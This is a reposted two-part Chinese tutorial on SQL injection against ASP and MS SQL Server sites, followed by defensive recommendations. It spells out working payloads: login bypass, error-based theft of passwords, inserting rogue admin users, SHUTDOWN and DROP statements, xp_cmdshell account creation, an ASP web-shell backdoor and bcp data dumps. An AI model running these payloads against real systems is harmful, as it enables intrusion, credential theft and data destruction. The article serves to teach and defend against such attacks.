【转帖】SQL Injection (资料隐码)– 骇客的SQL填空游戏
SQL Injection (资料隐码)– 骇客的SQL填空游戏(上)
![]() | ||
| ||
![]() | ||
![]() | ![]() | ||||||||
![]() |
| ![]() | |||||||
![]() | ![]() | ||||||||
作者:恒逸资讯胡百敬
审稿:恒逸资讯张智凯
前言
电脑系统的安全一直是你我所重视的,但或许你一直在替系统安装修正档,防毒软体,架设防火墙,划定非军事区等等,但可能由于撰写程式码的疏忽,你的背后正有一个自己营造的大漏洞。
SQL Injection – 骇客的SQL填空游戏
在现今的应用程式架构中,大部分都含有资料库,以容纳各式各样的资料。而在各类型的资料库中,又以结构化查询语言(SQL Structure Query Language)为基础的关联式资料库管理系统(RDBMS Relational Database Management System)最为流行。
一般的程式设计师在存取资料库时,往往是利用Visual Basic等第三代语言来组织SQL语言,然后再传递给关联式资料库系统执行,以建立或删除资料结构,赋予或移除使用权限,乃至于新增、修改、删除或查询资料。因为关联式资料库所有的执行动作皆是遵循SQL 命令,所以透过此种方式可以很方便地完成各种资料维护工作。但也正因为SQL语言无所不能,所以稍有漏洞就会让骇客有机可乘。这两期文章就针对这个主题做一个深入的探讨。
网站的资料存取一般来说是比较危险的,因为网际网路是一个开放的环境,而不像一般公司内部网路,除了有电脑本身的安全设计,还可以过滤筛检员工的身分背景。网际网路上龙蛇杂处,大部分的使用者都循规导矩,但少数图谋不轨的人却处心积虑地要侵入我们的系统,窃取有价值的资料。但一般的网管人员及网页设计师,可能在安全设定上有着重重防范,如架设防火墙,设计非军事区(DMZ),限制网站登入者的身分等等。但由于缺乏对SQL 语言及资料库管理系统的认知,而大开系统的后门。
本文针对微软的ASP网站架构搭配MS SQL Server做一个探讨及示范,希望能提供各网站的管理人员对SQL Injection的入侵方式有个基本的认识,就笔者在撰写本文时,利用搜寻网站随意找几个有会员机制的网站来测试,其中多数都有被此类方式侵入的危险,大家不可不慎。
笔者在此先建立一个一般会员网站登入网页的范例,以及相关资料表的架构如下:
资料表的Schema如 程式码列表1 。
CREATE TABLE [tblUser] ( |
程式码列表1:存放会员资料的资料表Schema。
并在资料表加入两笔资料内容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10) |
登入网页的撰写方式如 程式码列表2 。
<% |
程式码列表2:简单的ASP 登入网页。
在 程式码列表2 中的ASP网页利用VBScript来组合查询使用者帐号、密码的SQL查询语法,逻辑相当简单,若资料表中存有符合的帐号、密码记录,则回传的Recordset的EOF属性是False,该使用者就算正确登入。
针对此种网页,我们以下就开始利用SQL Injection的技巧来”骇”这个网站吧!
剪接语法
利用任何已知的使用者名称登入 1:例如在网咖偷偷地观察某个使用者用什么样的帐号登入到哪个网站等等,或着先试试一般管理人员可能建立的使用者名称,如:admin、administrator、supervisor、sa等等。
在需要输入使用者名称的地方键入以下的内容 2:
Admin'--
而密码栏位随便乱输入,对于会被执行的整句SQL没有什么关系。示意图如 图1 。
图1 :利用已知的会员名称登入,让程式码跳过密码检查。
你可以试着将输入使用者名称的内容与 程式码列表2 的SQL语法做个整理,将会发现实际传给SQL Server的语法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf' |
关键就是 原先的AND子句被“--"标示成说明 ,也就是SQL Server仅仅执行
SELECT * FROM tblUser WHERE UserName='admin' |
自然,若有该使用者存在,则这个SQL查询语法就传回该记录的所有栏位内容。再按照 程式码列表2 的判断方式:传回的Recordset是否有记录,若有就算登入验证成功。则骇客就可以轻易地以该使用者的身分进入了。
用未知的使用者名称登入 :若没有已知的帐号,也可以用以下的方式输入到使用者名称栏位,便能大大方方地侵入:
' or 1=1-- |
SQL Server 所接收的整个语法变成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf' |
因为加上的 or 1=1 ,则不管之前的条件为合,只要某个条件为真,整个判断式就都为真,因此回传的Recordset物件包含了全部的会员记录。也导致 程式码列表2 中的Recordset物件EOF属性为False。
利用错误讯息
获取栏位数量与名称
微软为了方便ASP的程式开发者可以顺利地除错,因此每当Script执行错误时,都会透过预设的<系统所在磁碟>\WINNT\Help\iisHelp\common\500- 100.asp网页将发生错误的原因回传到前端,对于开发者来说,这是一个非常方便的错误呈现方式。但骇客也可以利用这个错误讯息取得原始ASP中的查询语法,并从中了解资料库中资料表的架构。例如在使用者名称栏位输入:
' HAVING 1=1--
则系统会传回如 图2 的错误讯息。
图2 :故意制造错误,从错误讯息中找寻蛛丝马迹。
由 图2 可以知道存放使用者的资料表名称是tblUser,且查询中有一个栏位叫UserID。因此我们再次输入:
'GROUP BY UserID HAVING 1=1--
这回错误讯息如 图3 。
图3 :利用错误讯息来了解资料表大致结构。
再次在 图3 的错误讯息中可知查询的栏位还有UserName,因此继续以下列方式来查询 3。
'GROUP BY UserID,UserName HAVING 1=1-- |
利用上述方式取到完整查询语法后,也就是输入以下的语法,但不再造成执行时期错误:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1-- |
因为整个传递到SQL Server 的语法变成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf' |
如此列出所有栏位的Group By方式几近等于没有Group By,但 语法完全正确表示所有的栏位都已经包含在其中了 。骇客就此可以约略估计资料表的栏位结构。
在输入帐号的地方执行以下语法便可以加入自订的使用者到资料表中。
';INSERT INTO tblUser Values('hacker','hacker',10)-- |
获取栏位资料型态
若有资料栏位格式不对,导致无法加入自订使用者,也可以利用下列语法传回的错误讯息来判读资料栏位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser -- |
结果传回如 图4 的错误讯息。
图4 :利用错误讯息来判断栏位的资料型态。
在这里我们透过UNION语法来组合两句SELECT查询,第一句SELECT语法的第一个栏位UserID是int格式,但对应的第二句SELECT语法;第一个栏位的资料是varchar格式的'abc',因此出现如图4 的错误讯息。骇客也由此得知资料表第一个栏位的资料型态是int。有耐心地把一个个栏位测试完毕后,便可以得到整个资料表的栏位格式。
获取会员的帐号密码
利用这个技巧,还可以再进一步获取使用者的帐号和密码,例如先以下列语法询问帐号:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'-- |
IIS回传错误讯息如 图5 。
图5 :利用错误讯息来取得使用者帐号和密码。
因为传回的记录”Admin”是nvarchar格式,而透过union对应到原先int资料栏位,因此有 图5 的错误讯息。由以上的错误可以得知有一个称为”Admin”的帐号存在,之后再以下列语法获得该帐号的密码。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'-- |
错误讯息如 图6 。
图6 :利用错误讯息取得帐号admin的密码。
之后再继续以下列语法来获得其他人的帐号密码。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'-- |
错误讯息如 图7 。
图7 :依序透过相同的机制取得其他人的帐号密码。
依次替换掉 WHERE UserName >的条件内容,就可以取得资料表中所有的帐号和密码组合。
骇客甚至可以透过以下的语法将整个使用者帐号密码串成字串:在输入使用者帐号的栏位填入如 程式码列表3 的SQL语句。
';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker-- |
程式码列表3 :将所有的使用者资料组成字串,放入自订的资料表中。
在 程式码列表3 中,先宣告一个长度为8000的字串变数@str,再将整个tblUser资料表的内容组成一个字串放到变数@str之内,最后再利用SELECT … INTO…语法把@ str变数的内容放到自建的资料表tblHacker之中。
然后再利用前述故意营造错误的技巧换回资料内容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker-- |
结果如 图8 。
图8 :取回全部的会员帐号密码资料。
当然事后要做一个清除的动作,以避免系统管理人员的注意,依然在名称栏位输入如下的内容。
' ; DROP TABLE tblHacker-- |
在本期的文章中,笔者介绍了一般的SQL Injection攻击,相信你不是感到兴奋且跃跃欲试,想要找几个网站来开刀,就是感到毛骨悚然,赶快检视一下自己的系统。不管你是何者,笔者期盼本文不致遭到误用,若有心测试别站的安全程度,建议你将成果告知该站的管理人员,让整个网际网路的世界更为安全,一般人才会愿意流涟在其上,而我们资讯人员才有更好的未来。
在下期文章中,笔者将继续介绍进阶的SQL Injection攻击,并提出因应的防范之道,期待再次与你见面。
后记:本文所举各例,并非单指Microsoft SQL Server而言,事实上所有关联式资料库如Oracle等均是如此。同时,本文所举各例,并非单指ASP而言,事实上对所有动态网页如JSP、PHP等均是如此(即使你的系统还停留在CGI技术也是一样),奉劝各位即时检视您的系统,防患未然。
(本文由SQL Server电子杂志 http://www.sqlserver.com.tw 授权台湾微软独家转载)
注释:
1 | 就笔者观察,现今很多的有会员机制的网站在登入时都是以身分证字号当作登入帐号,所以骇客只要想办法拿到某个会员的身分证字号就可以试试这个方法。 |
2 | 以下的SQL Injection登入方式都是只利用使用者帐号的栏位,输入不同的SQL语法,以组织各种可能的执行方式,而都利用“--”将后面的密码栏位标示成SQL说明。 |
3 | 骇客的第一特质:有耐心。笔者因此就没有做骇客的天赋,为了撰写这篇文章,笔者反反覆覆地测试各个网站,重复的过程非常乏味,所得结论是既然有这个精力,笔者宁愿多看点书,赚取正当的收入。
|
SQL Injection (资料隐码)– 骇客的SQL填空游戏(下)
![]() | ||
| ||
![]() | ||
![]() | ![]() | ||||||||
![]() |
| ![]() | |||||||
![]() | ![]() | ||||||||
作者:恒逸资讯胡百敬
审稿:恒逸资讯张智凯
前言
在上一期中,我们介绍了透过组合SQL语法;以较为简单的方式侵入网站系统,本期再进一步介绍透过SQL Server本身强大的功能,可能完成进一步侵入的动作。
SQL Injection – 骇客的SQL填空游戏(下)
SQL Server本身提供了非常多的函数、预存程序、延伸预存程序来辅助T-SQL,好让程式设计师透过T-SQL完成商业逻辑运作所需的预存程序。但一般的使用者较熟悉以Visual Basic等程式语言来撰写存取资料的程式,因而对此类的功能所知不多,更别提要如何防范骇客透过这一类的功能来遂行其目的。
使用具破坏力的语法
以下列举部分的功能稍做讨论。
停掉SQL Server的执行
直接输入 Shutdown 命令,要求SQL Server停止执行。在网页上输入帐号的地方可以直接键入以下语法便可:
' ;SHUTDOWN-- |
破坏内容
当然,只要权限够,也可以执行有破坏性的SQL语法 1。如删除某个资料库:
' ;DROP Database <资料库名称>-- |
删除资料库内某个资料表:
' ;DROP Table <资料表名称>-- |
清空某个资料表:
' ;Truncate Table <资料表名称>-- |
抑或是以DELETE 清空资料表:
' ;DELETE FROM <资料表名称>-- |
使用进阶且功能强悍的延伸预存程序
这一类的预存程序多以xp_开头,存放在master系统资料库的延伸预存程序中。有趣的是大部分的延伸预存程序在SQL Server所附的线上说明中都没有列出来,也没有说明。笔者本想到微软网站利用全文检索找寻这些延伸预存程序的蛛丝马迹,以列表讨论,但发现大多是无可奉告(undocumented),看来延伸预存程序虽然功能强大,但微软并不鼓励大家使用。
笔者选几个较有趣的分别介绍。
执行其他应用程式
xp_cmdshell 应该是大家最常使用的延伸预存程序之一,透过这个延伸预存程序可以SQL Server 的系统帐号来执行任何应用程式。
以下 程式码列表1 直接利用作业系统所附的NET工具程式,在Windows系统中加入一个使用者帐号Hacker ;没有密码,并将该帐号加到SQL Server,再放入到最大的使用者权力群组sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'-- |
程式码列表1 :加入自订的使用者,并赋予该帐号最大的权限。
若你还开放网际网路存取SQL Server预设使用的TCP 1433埠,则骇客将有机会唐而皇之地控管SQL Server。
与Registry 相关的系统预存程序
SQL Server提供了大量与Registry相关的延伸预存程序,以xp_reg开头作为代表 2。内容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
骇客可以利用此类的延伸预存程序存取系统的注册资料,例如查询该机器上有哪些共享目录,范例如 程式码列表2 。再利用上一期的技巧,以错误讯息来呈现结果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100)) |
程式码列表2 :利用XP_RegEnumValues取得系统的共享目录。
再利用上篇文章介绍的以错误讯息来呈现结果的技巧,或是以下文中透过bcp.exe工具程式将tblShareDir输出成档案,都可以取得想要的结果。
与OLE Automation/COM 物件相关的延伸预存程序
SQL Server 提供了一组存取伺服器外部OLE 物件相关的预存程序。它们分别是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它们来建立OLE物件(一般COM物件就可以了,但要支援IDispatch介面),执行物件的方法,读取与修改属性,进行错误处理。但它们无法回应一般OLE 或COM 物件的事件。
有了COM/OLE物件的建立与执行,对于控制系统来说可算是如虎添翼,无所不能了。稍举个例子,骇客可以利用它来取得有兴趣的网页的原始码,如 程式码列表3 :
';DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject \login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'-- |
程式码列表3 :取得login.asp网页的内容。
在 程式码列表3 中,利用SP_OACREATE建立“wscript.shell”物件,并利用SP_OAMETHOD呼叫“wscript.shell”物件的run方法,以执行作业系统命令介面工具程式cmd.exe,将login.asp输出到test.txt档案中,这时骇客只要在网页上输入http://.../.../test.txt就可以看到login.asp写作的方式,作为下一步侵入的基本资讯。
当然,骇客也可以利用Scripting.FileSystemObject物件来建立一个ASP网页后门,语法如 程式码列表4 所示:
DECLARE @fs int,@fi int |
程式码列表4 :建立ASP后门网页。
从此透过URL 就可以执行任何执行档,范例如下:
http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test .txt |
其他相关的延伸预存程序
这一类的延伸预存程序,你可能要小心的还有:
延伸预存程序的名称 | 用途 | 使用范例 |
xp_availablemedia | 显示系统上可用的磁碟机,如C:\。 | xp_availablemedia |
xp_dirtree | 显示某个目录下的子目录与档案架构。 | xp_dirtree 'c:\inetpub\wwwroot\' |
xp_enumdsn | 列出系统上已经设定好的ODBC资料来源名称(DSN Data Source Name)。 | xp_enumdsn |
xp_enumgroups | 列出作业系统上的使用者群组及该群组的说明。 | xp_enumgroups |
xp_getfiledetails | 获取某个档案的相关属性。 | xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' |
dbo.xp_makecab | 将目标多个档案压缩到某个目标档案之内。 所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 | dbo.xp_makecab 'c:\test.cab','mszip',1, 'C:\Inetpub\wwwroot\SQLInject\login.asp', 'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' … |
xp_ntsec_enumdomains | 列出伺服器的网域名称。 | xp_ntsec_enumdomains |
xp_servicecontrol | 停掉或启动某个服务。 | xp_servicecontrol 'stop','schedule' xp_servicecontrol 'start','schedule' |
dbo.xp_subdirs | 只列某个目录下的子目录。 | dbo.xp_subdirs 'c:\' |
xp_terminate_process | 停掉某个执行中的程序,但赋予的参数是Process ID。 利用”工作管理员”,透过选单「检视」-「选择栏位」勾选pid,就可以看到每个执行程序的Process ID | xp_terminate_process 2484 |
xp_unpackcab | 解开压缩档。 | xp_unpackcab 'c:\test.cab','c:\temp',1 |
以上表列的延伸预存程序是笔者在master系统资料库中,寻找名称比较有趣的;经过一一测试的结果。但不代表可以用来侵入系统的延伸预存程序都已经完全列出,毕竟骇客的创意屡屡翻新,你必须要时时谨慎小心。
SQL Server 的工具程式
透过SQL Server所提供的一些工具程式可以直接将资料表的内容输出成档案,例如透过bcp的out参数,将储存会员资料的资料表整个输出成档案,范例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP |
当然,isql.exe 和osql.exe 也都可以办到同样的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser" |
这一类的工具程式可以搭配前文的xp_cmdshell 延伸预存程序,或是交由利用sp_OA 系列预存程序建立的木马ASP 来执行,都可以达到窃取资料的目的。
对于预防SQL Injection 的建议
综合以上各种的侵入技巧,笔者在此归纳一些维护系统安全的建议。
- 尽量地利用ASP或ASP.NET在伺服器端检查与限制输入变数的型别与长度,过滤掉不需要的内容。要注意的是这些检查不要放在前端。
就算在前端利用HTML Input标签的MaxLength属性,或是以JScript撰写程式来设定栏位长度的限制,只要将该网页另存新档,修改内容后(一般只要改写Form的Action属性以及Input的MaxLength属性),重新以浏览器开启再执行便可避过这些浏览器端的检查。 - ASP程式登入SQL Server的帐号不要使用sa,或任何属于Sysadmin群组的帐号,避免有过大的权限。
- sa一定要有强固的密码,尤其是SQL Server 7.0以前的版本,在装机时预设sa没有密码,而一般管理者装完后也忘了或怕麻烦而不更改密码。
- 利用ADO的Command物件或ADO.NET的SqlCommand class来透过参数执行SQL语法,直接以ADODB的Connection物件执行预存程序的写法一样糟糕。范例如下:
Exec spXXX 参数,… |
因为骇客所加入的SQL 语法一样可以执行:
Exec spXXX 参数,…;SHUTDOWN |
我们可以建立一个预存程序 程式码列表5 :
ECREATE PROC spUserAccount |
程式码列表5 :用来找寻符合的使用者帐号密码的预存程序。
同时将整个ASP的查询换成如 程式码列表6 的写法:
<% |
程式码列表6 :利用ADODB的Command物件来存取预存程序。
如程式码列表6中灰色的程式码区块,将存取SQL Server预存程序的方式改以透过ADODB的Command物件,如此骇客就不能用加入自订SQL的语法来要求SQL Server执行额外的动作。
- 改掉预设的Web虚拟路径,不要使用IIS装好后预设的<系统所在磁碟>\Inetpub\WWWRoot路径,否则利用前述的档案存取方式,很容易在该目录下动手脚。
- 不要显示错误讯息到前端。
利用VBScript语法的On Error Resume Next,并搭配If Err.Number<>0 Then的错误处理方式,自行将错误重导到适当的错误处理网页,如此系统将更稳固,且骇客也不易透过错误讯息来探知系统的内部运作方式。
或着,也可以修改<系统所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp预设网页,最简单的方式就是将它更改名字 3。 - 将用不到但功能强大的延伸预存程序删除。
- 监控系统的执行。
- 防火墙关闭TCP 1433/UDP 1434埠(port)对外的连线 4。
- 随时注意是否有新的修补程式要上。
以上是针对SQL Injection防护方式的建议,但我们应该谨记于心的是世界上没有绝对安全的系统,只有自己时时小心,多看多听骇客们是否有翻新的手法,系统是否有异常的状况,唯有不断加强系统的安全措施,才能将危害降至最低。
相关网址
以下是一些关于SQL以及系统安全的网址,提供给大家参考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www. atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
注释:
1 | 就笔者的观察,一般的程式设计师多喜欢用SQL Server最大的预设帐号sa来存取资料。因此给予骇客予取予求的权力。 |
2 | 这里表列的延伸预存程序可以透过Enterprise Manager或Query Analyzer看到,但是在SQL Server线上丛书找不到相关资料。 |
3 | 笔者不建议一开始就删除500-100.asp,因为这会导致很难替程式除错。建议在程式开发完成上线后,将500-100.asp更改名称。在自行撰写的asp档首加入On Error Resume Next/If Err.Number <> 0 Then等,错误处理应该是在程式撰写时就要注意的程式架构,若为了除错方便,可以先以单引号让On Error Resume Next语法成为说明。 |
4 | 有报告显示现今有网路蜘蛛专门寻找在网际网路上,可以直接透过TCP 1433/UDP 1434埠(port)存取,但sa帐号没有设定密码的SQL Server,在找到该伺服器后便利用前述的技巧取得对系统的控制权。 |